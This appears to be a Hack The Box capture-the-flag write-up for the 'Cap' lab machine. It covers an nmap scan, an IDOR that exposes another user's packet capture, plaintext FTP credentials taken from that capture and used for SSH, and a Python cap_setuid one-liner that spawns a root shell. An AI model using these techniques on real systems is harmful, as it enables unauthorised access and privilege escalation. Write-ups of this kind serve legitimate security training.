> For the complete documentation index, see [llms.txt](https://0xa1mn.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xa1mn.gitbook.io/writeups/hack-the-box-htb/linux/untitled.md).

# CAP

## Scanning

NMAP

```
➜  ~ nmap -T4 cap.htb
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-15 12:43 EDT
Nmap scan report for cap.htb (10.10.10.245)
Host is up (0.29s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 23.85 seconds
```

## Enumeration

port **80**

![](/files/-MjjVHZyqAzhcBQtkQdJ)

dashboard of Network monitoring system

dig into the app to find more stuff ...

![](/files/-MjjVFZnxZI2CNl7Jq73)

![](/files/-MjjVDj4kiWA_reeyjGy)

download cap file to analyze it using **wireshark** ...

after download i can't find anything interesting

so lets try to find anther CAP file but How !!

IDOR is the Ket in this case ...

change URL to `http://cap.htb/data/0`

![](/files/-MjjV9puMOr00CMOj_fI)

Download CAP ...

time to have some fun

```bash
➜  Downloads wireshark 0.pcap
```

![](/files/-MjjV4wcdv_t8DP9xOJv)

following streams find this credentials

![](/files/-MjjUzXVImlvPZxvemIO)

Credentials `nathan:Buck3tH4TF0RM3!`

login as nathan using SSH

* [x] USER SHELL ACCESS

## Privilege Escalation

taking capabilities path ...

first list theme

```
nathan@cap:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
```

`/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip` "cap\_setuid"

we can set user ID using python

`./python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'`

you can find this at GTFObin

![](/files/-MjjUv4ndb93ehd4KxBZ)

* [x] ROOT SHELL ACCESS


---

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